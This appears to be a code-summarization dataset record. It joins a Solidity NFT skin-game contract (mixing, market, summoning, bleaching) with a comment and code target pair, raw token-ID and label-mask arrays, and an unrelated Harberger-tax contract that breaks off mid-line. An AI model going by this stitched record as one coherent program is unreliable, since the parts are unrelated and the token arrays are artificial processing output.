accountsToActiveSkin; // Number of all total valid skins // skinId 0 should not correspond to any skin, because skin.mixingWithId==0 indicates not mixing uint256 public nextSkinId = 1; // Number of skins an account owns mapping (address => uint256) public numSkinOfAccounts; event SkinTransfer(address from, address to, uint256 skinId); event SetActiveSkin(address account, uint256 skinId); // Get the i-th skin an account owns, for off-chain usage only function skinOfAccountById(address account, uint256 id) external view returns (uint256) { uint256 count = 0; uint256 numSkinOfAccount = numSkinOfAccounts[account]; require(numSkinOfAccount > 0); require(id < numSkinOfAccount); for (uint256 i = 1; i < nextSkinId; i++) { if (skinIdToOwner[i] == account) { // This skin belongs to current account if (count == id) { // This is the id-th skin of current account, a.k.a, what we need return i; } count++; } } revert(); } // Get skin by id function getSkin(uint256 id) public view returns (uint128, uint64, uint64) { require(id > 0); require(id < nextSkinId); Skin storage skin = skins[id]; return (skin.appearance, skin.cooldownEndTime, skin.mixingWithId); } function withdrawETH() external onlyCAO { cfo.transfer(address(this).balance); } function transferP2P(uint256 id, address targetAccount) whenTransferAllowed public { require(skinIdToOwner[id] == msg.sender); require(msg.sender != targetAccount); skinIdToOwner[id] = targetAccount; numSkinOfAccounts[msg.sender] -= 1; numSkinOfAccounts[targetAccount] += 1; // emit event emit SkinTransfer(msg.sender, targetAccount, id); } function _isComplete(uint256 id) internal view returns (bool) { uint128 _appearance = skins[id].appearance; uint128 mask = uint128(65535); uint128 _type = _appearance & mask; uint128 maskedValue; for (uint256 i = 1; i < 8; i++) { mask = mask << 16; maskedValue = (_appearance & mask) >> (16*i); if (maskedValue != _type) { return false; } } return true; } function setActiveSkin(uint256 id) public { require(skinIdToOwner[id] == msg.sender); require(_isComplete(id)); require(isOnSale[id] == false); require(skins[id].mixingWithId == 0); accountsToActiveSkin[msg.sender] = id; emit SetActiveSkin(msg.sender, id); } function getActiveSkin(address account) public view returns (uint128) { uint256 activeId = accountsToActiveSkin[account]; if (activeId == 0) { return uint128(0); } return (skins[activeId].appearance & uint128(65535)); } } contract SkinMix is SkinBase { // Mix formula MixFormulaInterface public mixFormula; // Pre-paid ether for synthesization, will be returned to user if the synthesization failed (minus gas). uint256 public prePaidFee = 150000 * 5000000000; // (15w gas * 5 gwei) bool public enableMix = false; // Events event MixStart(address account, uint256 skinAId, uint256 skinBId); event AutoMix(address account, uint256 skinAId, uint256 skinBId, uint64 cooldownEndTime); event MixSuccess(address account, uint256 skinId, uint256 skinAId, uint256 skinBId); // Set mix formula contract address function setMixFormulaAddress(address mixFormulaAddress) external onlyCOO { mixFormula = MixFormulaInterface(mixFormulaAddress); } // setPrePaidFee: set advance amount, only owner can call this function setPrePaidFee(uint256 newPrePaidFee) external onlyCOO { prePaidFee = newPrePaidFee; } function changeMixEnable(bool newState) external onlyCOO { enableMix = newState; } // _isCooldownReady: check whether cooldown period has been passed function _isCooldownReady(uint256 skinAId, uint256 skinBId) private view returns (bool) { return (skins[skinAId].cooldownEndTime <= uint64(now)) && (skins[skinBId].cooldownEndTime <= uint64(now)); } // _isNotMixing: check whether two skins are in another mixing process function _isNotMixing(uint256 skinAId, uint256 skinBId) private view returns (bool) { return (skins[skinAId].mixingWithId == 0) && (skins[skinBId].mixingWithId == 0); } // _setCooldownTime: set new cooldown time function _setCooldownEndTime(uint256 skinAId, uint256 skinBId) private { uint256 end = now + 20 minutes; // uint256 end = now; skins[skinAId].cooldownEndTime = uint64(end); skins[skinBId].cooldownEndTime = uint64(end); } // _isValidSkin: whether an account can mix using these skins // Make sure two things: // 1. these two skins do exist // 2. this account owns these skins function _isValidSkin(address account, uint256 skinAId, uint256 skinBId) private view returns (bool) { // Make sure those two skins belongs to this account if (skinAId == skinBId) { return false; } if ((skinAId == 0) || (skinBId == 0)) { return false; } if ((skinAId >= nextSkinId) || (skinBId >= nextSkinId)) { return false; } if (accountsToActiveSkin[account] == skinAId || accountsToActiveSkin[account] == skinBId) { return false; } return (skinIdToOwner[skinAId] == account) && (skinIdToOwner[skinBId] == account); } // _isNotOnSale: whether a skin is not on sale function _isNotOnSale(uint256 skinId) private view returns (bool) { return (isOnSale[skinId] == false); } // mix function mix(uint256 skinAId, uint256 skinBId) public whenNotPaused { require(enableMix == true); // Check whether skins are valid require(_isValidSkin(msg.sender, skinAId, skinBId)); // Check whether skins are neither on sale require(_isNotOnSale(skinAId) && _isNotOnSale(skinBId)); // Check cooldown require(_isCooldownReady(skinAId, skinBId)); // Check these skins are not in another process require(_isNotMixing(skinAId, skinBId)); // Set new cooldown time _setCooldownEndTime(skinAId, skinBId); // Mark skins as in mixing skins[skinAId].mixingWithId = uint64(skinBId); skins[skinBId].mixingWithId = uint64(skinAId); // Emit MixStart event emit MixStart(msg.sender, skinAId, skinBId); } // Mixing auto function mixAuto(uint256 skinAId, uint256 skinBId) public payable whenNotPaused { require(msg.value >= prePaidFee); mix(skinAId, skinBId); Skin storage skin = skins[skinAId]; emit AutoMix(msg.sender, skinAId, skinBId, skin.cooldownEndTime); } // Get mixing result, return the resulted skin id function getMixingResult(uint256 skinAId, uint256 skinBId) public whenNotPaused { // Check these two skins belongs to the same account address account = skinIdToOwner[skinAId]; require(account == skinIdToOwner[skinBId]); // Check these two skins are in the same mixing process Skin storage skinA = skins[skinAId]; Skin storage skinB = skins[skinBId]; require(skinA.mixingWithId == uint64(skinBId)); require(skinB.mixingWithId == uint64(skinAId)); // Check cooldown require(_isCooldownReady(skinAId, skinBId)); // Create new skin uint128 newSkinAppearance = mixFormula.calcNewSkinAppearance(skinA.appearance, skinB.appearance, getActiveSkin(account)); Skin memory newSkin = Skin({appearance: newSkinAppearance, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = account; isOnSale[nextSkinId] = false; nextSkinId++; // Clear old skins skinA.mixingWithId = 0; skinB.mixingWithId = 0; // In order to distinguish created skins in minting with destroyed skins // skinIdToOwner[skinAId] = owner; // skinIdToOwner[skinBId] = owner; delete skinIdToOwner[skinAId]; delete skinIdToOwner[skinBId]; // require(numSkinOfAccounts[account] >= 2); numSkinOfAccounts[account] -= 1; emit MixSuccess(account, nextSkinId - 1, skinAId, skinBId); } } contract MixFormulaInterface { function calcNewSkinAppearance(uint128 x, uint128 y, uint128 addition) public returns (uint128); // create random appearance function randomSkinAppearance(uint256 externalNum, uint128 addition) public returns (uint128); // bleach function bleachAppearance(uint128 appearance, uint128 attributes) public returns (uint128); // recycle function recycleAppearance(uint128[5] appearances, uint256 preference, uint128 addition) public returns (uint128); // summon10 function summon10SkinAppearance(uint256 externalNum, uint128 addition) public returns (uint128); } contract SkinMarket is SkinMix { // Cut ratio for a transaction // Values 0-10,000 map to 0%-100% uint128 public trCut = 400; // Sale orders list mapping (uint256 => uint256) public desiredPrice; // events event PutOnSale(address account, uint256 skinId); event WithdrawSale(address account, uint256 skinId); event BuyInMarket(address buyer, uint256 skinId); // functions function setTrCut(uint256 newCut) external onlyCOO { trCut = uint128(newCut); } // Put asset on sale function putOnSale(uint256 skinId, uint256 price) public whenNotPaused { // Only owner of skin pass require(skinIdToOwner[skinId] == msg.sender); require(accountsToActiveSkin[msg.sender] != skinId); // Check whether skin is mixing require(skins[skinId].mixingWithId == 0); // Check whether skin is already on sale require(isOnSale[skinId] == false); require(price > 0); // Put on sale desiredPrice[skinId] = price; isOnSale[skinId] = true; // Emit the Approval event emit PutOnSale(msg.sender, skinId); } // Withdraw an sale order function withdrawSale(uint256 skinId) external whenNotPaused { // Check whether this skin is on sale require(isOnSale[skinId] == true); // Can only withdraw self's sale require(skinIdToOwner[skinId] == msg.sender); // Withdraw isOnSale[skinId] = false; desiredPrice[skinId] = 0; // Emit the cancel event emit WithdrawSale(msg.sender, skinId); } // Buy skin in market function buyInMarket(uint256 skinId) external payable whenNotPaused { // Check whether this skin is on sale require(isOnSale[skinId] == true); address seller = skinIdToOwner[skinId]; // Check the sender isn't the seller require(msg.sender != seller); uint256 _price = desiredPrice[skinId]; // Check whether pay value is enough require(msg.value >= _price); // Cut and then send the proceeds to seller uint256 sellerProceeds = _price - _computeCut(_price); seller.transfer(sellerProceeds); // Transfer skin from seller to buyer numSkinOfAccounts[seller] -= 1; skinIdToOwner[skinId] = msg.sender; numSkinOfAccounts[msg.sender] += 1; isOnSale[skinId] = false; desiredPrice[skinId] = 0; // Emit the buy event emit BuyInMarket(msg.sender, skinId); } // Compute the marketCut function _computeCut(uint256 _price) internal view returns (uint256) { return _price / 10000 * trCut; } } contract SkinMinting is SkinMarket { // Limits the number of skins the contract owner can ever create. uint256 public skinCreatedLimit = 50000; uint256 public skinCreatedNum; // The summon and bleach numbers of each accounts: will be cleared every day mapping (address => uint256) public accountToSummonNum; mapping (address => uint256) public accountToBleachNum; // Pay level of each accounts mapping (address => uint256) public accountToPayLevel; mapping (address => uint256) public accountLastClearTime; mapping (address => uint256) public bleachLastClearTime; // Free bleach number donated mapping (address => uint256) public freeBleachNum; bool isBleachAllowed = false; bool isRecycleAllowed = false; uint256 public levelClearTime = now; // price and limit uint256 public bleachDailyLimit = 3; uint256 public baseSummonPrice = 1 finney; uint256 public bleachPrice = 100 ether; // do not call this // Pay level uint256[5] public levelSplits = [10, 20, 50, 100, 200]; uint256[6] public payMultiple = [10, 12, 15, 20, 30, 40]; // events event CreateNewSkin(uint256 skinId, address account); event Bleach(uint256 skinId, uint128 newAppearance); event Recycle(uint256 skinId0, uint256 skinId1, uint256 skinId2, uint256 skinId3, uint256 skinId4, uint256 newSkinId); // functions // Set price function setBaseSummonPrice(uint256 newPrice) external onlyCOO { baseSummonPrice = newPrice; } function setBleachPrice(uint256 newPrice) external onlyCOO { bleachPrice = newPrice; } function setBleachDailyLimit(uint256 limit) external onlyCOO { bleachDailyLimit = limit; } function switchBleachAllowed(bool newBleachAllowed) external onlyCOO { isBleachAllowed = newBleachAllowed; } function switchRecycleAllowed(bool newRecycleAllowed) external onlyCOO { isRecycleAllowed = newRecycleAllowed; } // Create base skin for sell. Only owner can create function createSkin(uint128 specifiedAppearance, uint256 salePrice) external onlyCOO { require(skinCreatedNum < skinCreatedLimit); // Create specified skin // uint128 randomAppearance = mixFormula.randomSkinAppearance(); Skin memory newSkin = Skin({appearance: specifiedAppearance, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = coo; isOnSale[nextSkinId] = false; // Emit the create event emit CreateNewSkin(nextSkinId, coo); // Put this skin on sale putOnSale(nextSkinId, salePrice); nextSkinId++; numSkinOfAccounts[coo] += 1; skinCreatedNum += 1; } // Donate a skin to player. Only COO can operate function donateSkin(uint128 specifiedAppearance, address donee) external whenNotPaused onlyCOO { Skin memory newSkin = Skin({appearance: specifiedAppearance, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = donee; isOnSale[nextSkinId] = false; // Emit the create event emit CreateNewSkin(nextSkinId, donee); nextSkinId++; numSkinOfAccounts[donee] += 1; skinCreatedNum += 1; } // function moveData(uint128[] legacyAppearance, address[] legacyOwner, bool[] legacyIsOnSale, uint256[] legacyDesiredPrice) external onlyCOO { Skin memory newSkin = Skin({appearance: 0, cooldownEndTime: 0, mixingWithId: 0}); for (uint256 i = 0; i < legacyOwner.length; i++) { newSkin.appearance = legacyAppearance[i]; newSkin.cooldownEndTime = uint64(now); newSkin.mixingWithId = 0; skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = legacyOwner[i]; isOnSale[nextSkinId] = legacyIsOnSale[i]; desiredPrice[nextSkinId] = legacyDesiredPrice[i]; // Emit the create event emit CreateNewSkin(nextSkinId, legacyOwner[i]); nextSkinId++; numSkinOfAccounts[legacyOwner[i]] += 1; if (numSkinOfAccounts[legacyOwner[i]] > freeBleachNum[legacyOwner[i]]*10 || freeBleachNum[legacyOwner[i]] == 0) { freeBleachNum[legacyOwner[i]] += 1; } skinCreatedNum += 1; } } // Summon function summon() external payable whenNotPaused { // Clear daily summon numbers if (accountLastClearTime[msg.sender] == uint256(0)) { // This account's first time to summon, we do not need to clear summon numbers accountLastClearTime[msg.sender] = now; } else { if (accountLastClearTime[msg.sender] < levelClearTime && now > levelClearTime) { accountToSummonNum[msg.sender] = 0; accountToPayLevel[msg.sender] = 0; accountLastClearTime[msg.sender] = now; } } uint256 payLevel = accountToPayLevel[msg.sender]; uint256 price = payMultiple[payLevel] * baseSummonPrice; require(msg.value >= price); // Create random skin uint128 randomAppearance = mixFormula.randomSkinAppearance(nextSkinId, getActiveSkin(msg.sender)); // uint128 randomAppearance = 0; Skin memory newSkin = Skin({appearance: randomAppearance, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = msg.sender; isOnSale[nextSkinId] = false; // Emit the create event emit CreateNewSkin(nextSkinId, msg.sender); nextSkinId++; numSkinOfAccounts[msg.sender] += 1; accountToSummonNum[msg.sender] += 1; // Handle the paylevel if (payLevel < 5) { if (accountToSummonNum[msg.sender] >= levelSplits[payLevel]) { accountToPayLevel[msg.sender] = payLevel + 1; } } } // Summon10 function summon10() external payable whenNotPaused { // Clear daily summon numbers if (accountLastClearTime[msg.sender] == uint256(0)) { // This account's first time to summon, we do not need to clear summon numbers accountLastClearTime[msg.sender] = now; } else { if (accountLastClearTime[msg.sender] < levelClearTime && now > levelClearTime) { accountToSummonNum[msg.sender] = 0; accountToPayLevel[msg.sender] = 0; accountLastClearTime[msg.sender] = now; } } uint256 payLevel = accountToPayLevel[msg.sender]; uint256 price = payMultiple[payLevel] * baseSummonPrice; require(msg.value >= price*10); Skin memory newSkin; uint128 randomAppearance; // Create random skin for (uint256 i = 0; i < 10; i++) { randomAppearance = mixFormula.randomSkinAppearance(nextSkinId, getActiveSkin(msg.sender)); newSkin = Skin({appearance: randomAppearance, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = msg.sender; isOnSale[nextSkinId] = false; // Emit the create event emit CreateNewSkin(nextSkinId, msg.sender); nextSkinId++; } // Give additional skin randomAppearance = mixFormula.summon10SkinAppearance(nextSkinId, getActiveSkin(msg.sender)); newSkin = Skin({appearance: randomAppearance, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = msg.sender; isOnSale[nextSkinId] = false; // Emit the create event emit CreateNewSkin(nextSkinId, msg.sender); nextSkinId++; numSkinOfAccounts[msg.sender] += 11; accountToSummonNum[msg.sender] += 10; // Handle the paylevel if (payLevel < 5) { if (accountToSummonNum[msg.sender] >= levelSplits[payLevel]) { accountToPayLevel[msg.sender] = payLevel + 1; } } } // Recycle bin function recycleSkin(uint256[5] wasteSkins, uint256 preferIndex) external whenNotPaused { require(isRecycleAllowed == true); for (uint256 i = 0; i < 5; i++) { require(skinIdToOwner[wasteSkins[i]] == msg.sender); skinIdToOwner[wasteSkins[i]] = address(0); } uint128[5] memory apps; for (i = 0; i < 5; i++) { apps[i] = skins[wasteSkins[i]].appearance; } // Create random skin uint128 recycleApp = mixFormula.recycleAppearance(apps, preferIndex, getActiveSkin(msg.sender)); Skin memory newSkin = Skin({appearance: recycleApp, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = msg.sender; isOnSale[nextSkinId] = false; // Emit event emit Recycle(wasteSkins[0], wasteSkins[1], wasteSkins[2], wasteSkins[3], wasteSkins[4], nextSkinId); nextSkinId++; numSkinOfAccounts[msg.sender] -= 4; } // Bleach some attributes function bleach(uint128 skinId, uint128 attributes) external payable whenNotPaused { require(isBleachAllowed); // Clear daily summon numbers if (bleachLastClearTime[msg.sender] == uint256(0)) { // This account's first time to summon, we do not need to clear bleach numbers bleachLastClearTime[msg.sender] = now; } else { if (bleachLastClearTime[msg.sender] < levelClearTime && now > levelClearTime) { accountToBleachNum[msg.sender] = 0; bleachLastClearTime[msg.sender] = now; } } require(accountToBleachNum[msg.sender] < bleachDailyLimit); accountToBleachNum[msg.sender] += 1; // Check whether msg.sender is owner of the skin require(msg.sender == skinIdToOwner[skinId]); // Check whether this skin is on sale require(isOnSale[skinId] == false); uint256 bleachNum = 0; for (uint256 i = 0; i < 8; i++) { if ((attributes & (uint128(1) << i)) > 0) { if (freeBleachNum[msg.sender] > 0) { freeBleachNum[msg.sender]--; } else { bleachNum++; } } } // Check whether there is enough money require(msg.value >= bleachNum * bleachPrice); Skin storage originSkin = skins[skinId]; // Check whether this skin is in mixing require(originSkin.mixingWithId == 0); uint128 newAppearance = mixFormula.bleachAppearance(originSkin.appearance, attributes); originSkin.appearance = newAppearance; // Emit bleach event emit Bleach(skinId, newAppearance); } // Our daemon will clear daily summon numbers function clearSummonNum() external onlyCOO { uint256 nextDay = levelClearTime + 1 days; if (now > nextDay) { levelClearTime = nextDay; } } }
Give additional skin
randomAppearance = mixFormula.summon10SkinAppearance(nextSkinId, getActiveSkin(msg.sender));
14,703,226
[ 1, 43, 688, 3312, 18705, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2744, 1294, 27668, 273, 6843, 14972, 18, 1364, 2586, 2163, 26827, 1294, 27668, 12, 4285, 26827, 548, 16, 11960, 26827, 12, 3576, 18, 15330, 10019, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// contracts/token/modules/interfaces/Taxation.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import "./interfaces/ITaxation.sol"; import "./Valuation.sol"; import "./ERC721.sol"; import "./Remittance.sol"; import "./Beneficiary.sol"; abstract contract Taxation is ITaxation, ERC721, Valuation, Remittance, Beneficiary { ////////////////////////////// /// State ////////////////////////////// /// @notice Mapping from token ID to taxation collected over lifetime in Wei. mapping(uint256 => uint256) public taxationCollected; /// @notice Mapping from token ID to taxation collected since last transfer in Wei. mapping(uint256 => uint256) private _taxCollectedSinceLastTransfer; /// @notice Percentage taxation rate. e.g. 5% or 100% /// @dev Granular to an additionial 10 zeroes. /// e.g. 100% => 1000000000000 /// e.g. 5% => 50000000000 mapping(uint256 => uint256) internal _taxNumerators; uint256 private constant TAX_DENOMINATOR = 1000000000000; /// @notice Over what period, in days, should taxation be applied? mapping(uint256 => uint256) internal _collectionFrequencies; /// @notice Mapping from token ID to Unix timestamp when last tax collection occured. /// @dev This is used to determine how much time has passed since last collection and the present /// and resultingly how much tax is due in the present. /// @dev In the event that a foreclosure happens AFTER it should have, this /// variable is backdated to when it should've occurred. Thus: `_chainOfTitle` is /// accurate to the actual possession period. mapping(uint256 => uint256) private _lastCollectionTimes; /// @notice Mapping from token ID to funds for paying tax ("Deposit") in Wei. mapping(uint256 => uint256) private _deposits; ////////////////////////////// /// Events ////////////////////////////// /// @notice Alert token foreclosed. /// @param tokenId ID of token. /// @param prevOwner Address of previous owner. event LogForeclosure(uint256 indexed tokenId, address indexed prevOwner); /// @notice Alert tax collected. /// @param tokenId ID of token. /// @param collected Amount in wei. event LogCollection(uint256 indexed tokenId, uint256 indexed collected); ////////////////////////////// /// Modifiers ////////////////////////////// /// @notice Envokes tax collection. /// @dev Tax collection is triggered by an external envocation of a method wrapped by /// this modifier. /// @param tokenId_ ID of token to collect tax for. modifier _collectTax(uint256 tokenId_) { collectTax(tokenId_); _; } ////////////////////////////// /// Public Methods ////////////////////////////// /// @notice Collects tax. /// @param tokenId_ ID of token to collect tax for. /// @dev Strictly envoked by modifier but can be called publically. function collectTax(uint256 tokenId_) public { uint256 valuation = valuationOf(tokenId_); // There's no tax to be collected on an unvalued token. if (valuation == 0) return; // If valuation > 0, contract has not foreclosed. uint256 owed = _taxOwed(tokenId_); // Owed will be 0 when the token is owned by its beneficiary. // i.e. no tax is owed. if (owed == 0) return; // If foreclosure should have occured in the past, last collection time will be // backdated to when the tax was last paid for. if (foreclosed(tokenId_)) { _setLastCollectionTime(tokenId_, _backdatedForeclosureTime(tokenId_)); // Set remaining deposit to be collected. owed = depositOf(tokenId_); } else { _setLastCollectionTime(tokenId_, block.timestamp); } // Normal collection _setDeposit(tokenId_, depositOf(tokenId_) - owed); taxationCollected[tokenId_] += owed; _setTaxCollectedSinceLastTransfer( tokenId_, taxCollectedSinceLastTransferOf(tokenId_) + owed ); emit LogCollection(tokenId_, owed); /// Remit taxation to beneficiary. _remit(beneficiaryOf(tokenId_), owed, RemittanceTriggers.TaxCollection); _forecloseIfNecessary(tokenId_); } /// @dev See {ITaxation.deposit} function deposit(uint256 tokenId_) public payable override _onlyApprovedOrOwner(tokenId_) _collectTax(tokenId_) { _setDeposit(tokenId_, depositOf(tokenId_) + msg.value); } /// @dev See {ITaxation.withdrawDeposit} function withdrawDeposit(uint256 tokenId_, uint256 wei_) public override _onlyApprovedOrOwner(tokenId_) _collectTax(tokenId_) { _withdrawDeposit(tokenId_, wei_); } /// @dev See {ITaxation.exit} function exit(uint256 tokenId_) public override _onlyApprovedOrOwner(tokenId_) _collectTax(tokenId_) { _withdrawDeposit(tokenId_, depositOf(tokenId_)); } ////////////////////////////// /// Public Getters ////////////////////////////// /// @dev See {ITaxation.taxCollectedSinceLastTransferOf} function taxCollectedSinceLastTransferOf(uint256 tokenId_) public view override _tokenMinted(tokenId_) returns (uint256) { return _taxCollectedSinceLastTransfer[tokenId_]; } /// @dev See {ITaxation.taxRateOf} function taxRateOf(uint256 tokenId_) public view override _tokenMinted(tokenId_) returns (uint256) { return _taxNumerators[tokenId_]; } /// @dev See {ITaxation.collectionFrequencyOf} function collectionFrequencyOf(uint256 tokenId_) public view override _tokenMinted(tokenId_) returns (uint256) { return _collectionFrequencies[tokenId_]; } /// @dev See {ITaxation.taxOwedSince} function taxOwedSince(uint256 tokenId_, uint256 time_) public view override _tokenMinted(tokenId_) returns (uint256 taxDue) { uint256 valuation = valuationOf(tokenId_); return (((valuation * time_) / collectionFrequencyOf(tokenId_)) * taxRateOf(tokenId_)) / TAX_DENOMINATOR; } /// @dev See {ITaxation.taxOwed} function taxOwed(uint256 tokenId_) public view override returns (uint256 amount, uint256 timestamp) { return (_taxOwed(tokenId_), block.timestamp); } /// @dev See {ITaxation.lastCollectionTimeOf} function lastCollectionTimeOf(uint256 tokenId_) public view override returns (uint256) { return _lastCollectionTimes[tokenId_]; } /// @dev See {ITaxation.depositOf} function depositOf(uint256 tokenId_) public view override _tokenMinted(tokenId_) returns (uint256) { return _deposits[tokenId_]; } /// @dev See {ITaxation.withdrawableDeposit} function withdrawableDeposit(uint256 tokenId_) public view override returns (uint256) { if (foreclosed(tokenId_)) { return 0; } else { return depositOf(tokenId_) - _taxOwed(tokenId_); } } /// @dev See {ITaxation.foreclosed} function foreclosed(uint256 tokenId_) public view override returns (bool) { uint256 owed = _taxOwed(tokenId_); if (owed >= depositOf(tokenId_)) { return true; } else { return false; } } /// @dev See {ITaxation.foreclosureTime} function foreclosureTime(uint256 tokenId_) public view override returns (uint256) { uint256 taxPerSecond = taxOwedSince(tokenId_, 1); uint256 withdrawable = withdrawableDeposit(tokenId_); if (withdrawable > 0) { // Time until deposited surplus no longer surpasses amount owed. return block.timestamp + withdrawable / taxPerSecond; } else if (taxPerSecond > 0) { // Token is active but in foreclosed state. // Returns when foreclosure should have occured i.e. when tax owed > deposits. return _backdatedForeclosureTime(tokenId_); } else { // Actively foreclosed (valuation is 0) return lastCollectionTimeOf(tokenId_); } } ////////////////////////////// /// Internal Methods ////////////////////////////// /// @notice Forecloses if no deposit for a given token. /// @param tokenId_ ID of token to potentially foreclose. function _forecloseIfNecessary(uint256 tokenId_) internal { // If there are not enough funds to cover the entire amount owed, `__collectTax` // will take whatever's left of the deposit, resulting in a zero balance. if (depositOf(tokenId_) == 0) { // Unset the valuation _setValuation(tokenId_, 0); // Become steward of asset (aka foreclose) address currentOwner = ownerOf(tokenId_); _transfer(currentOwner, address(this), tokenId_); emit LogForeclosure(tokenId_, currentOwner); } } /// @notice Withdraws deposit back to its owner. /// @dev Parent callers must enforce `ownerOnly(tokenId_)`. /// @param tokenId_ ID of token to withdraw deposit for. /// @param wei_ Amount of Wei to withdraw. function _withdrawDeposit(uint256 tokenId_, uint256 wei_) internal { // If triggered with no wei, return. if (wei_ == 0) return; // Note: Can withdraw whole deposit, which immediately triggers foreclosure. require(wei_ <= depositOf(tokenId_), "Cannot withdraw more than deposited"); address currentOwner = ownerOf(tokenId_); require(currentOwner != address(this), "Cannot withdraw deposit to self"); _setDeposit(tokenId_, depositOf(tokenId_) - wei_); _remit(currentOwner, wei_, RemittanceTriggers.WithdrawnDeposit); _forecloseIfNecessary(tokenId_); } /// @notice Collect Tax function _beforeTokenTransfer( address from_, address to_, uint256 tokenId_ ) internal virtual override(ERC721) { collectTax(tokenId_); super._beforeTokenTransfer(from_, to_, tokenId_); } /// @notice Reset tax collected function _afterTokenTransfer( address from_, address to_, uint256 tokenId_ ) internal virtual override(ERC721) { _setTaxCollectedSinceLastTransfer(tokenId_, 0); super._afterTokenTransfer(from_, to_, tokenId_); } ////////////////////////////// /// Internal Setters ////////////////////////////// /// @notice Sets tax collected since last transfer. /// @param tokenId_ ID of token. /// @param amount_ Amount in Wei. function _setTaxCollectedSinceLastTransfer(uint256 tokenId_, uint256 amount_) internal { _taxCollectedSinceLastTransfer[tokenId_] = amount_; } /// @notice Sets last collection time for a given token. /// @param tokenId_ ID of token. /// @param collectionTime_ Timestamp. function _setLastCollectionTime(uint256 tokenId_, uint256 collectionTime_) internal _tokenMinted(tokenId_) { _lastCollectionTimes[tokenId_] = collectionTime_; } /// @notice Internal tax rate setter. /// @dev Should be invoked immediately after calling `#_safeMint` /// @param tokenId_ Token to set /// @param rate_ The taxation rate up to 10 decimal places. See `_taxNumerators` declaration. function _setTaxRate(uint256 tokenId_, uint256 rate_) internal _tokenMinted(tokenId_) { _taxNumerators[tokenId_] = rate_; } /// @notice Internal period setter. /// @dev Should be invoked immediately after calling `#_safeMint` /// @param tokenId_ Token to set /// @param days_ How many days are between subsequent tax collections? function _setCollectionFrequency(uint256 tokenId_, uint256 days_) internal _tokenMinted(tokenId_) { _collectionFrequencies[tokenId_] = days_ * 1 days; } /// @notice Sets deposit for a given token. /// @param tokenId_ ID of token. /// @param amount_ New deposit amount. function _setDeposit(uint256 tokenId_, uint256 amount_) internal { _deposits[tokenId_] = amount_; } ////////////////////////////// /// Internal Getters ////////////////////////////// /// @notice How much is owed from the last collection until now? /// @param tokenId_ ID of token requesting amount for. /// @return Tax Due in wei function _taxOwed(uint256 tokenId_) internal view returns (uint256) { // If the token is owned by its beneficiary, nothing is owed. // (e.g. beneficiary wrapped a token). if (ownerOf(tokenId_) == beneficiaryOf(tokenId_)) return 0; uint256 timeElapsed = block.timestamp - _lastCollectionTimes[tokenId_]; return 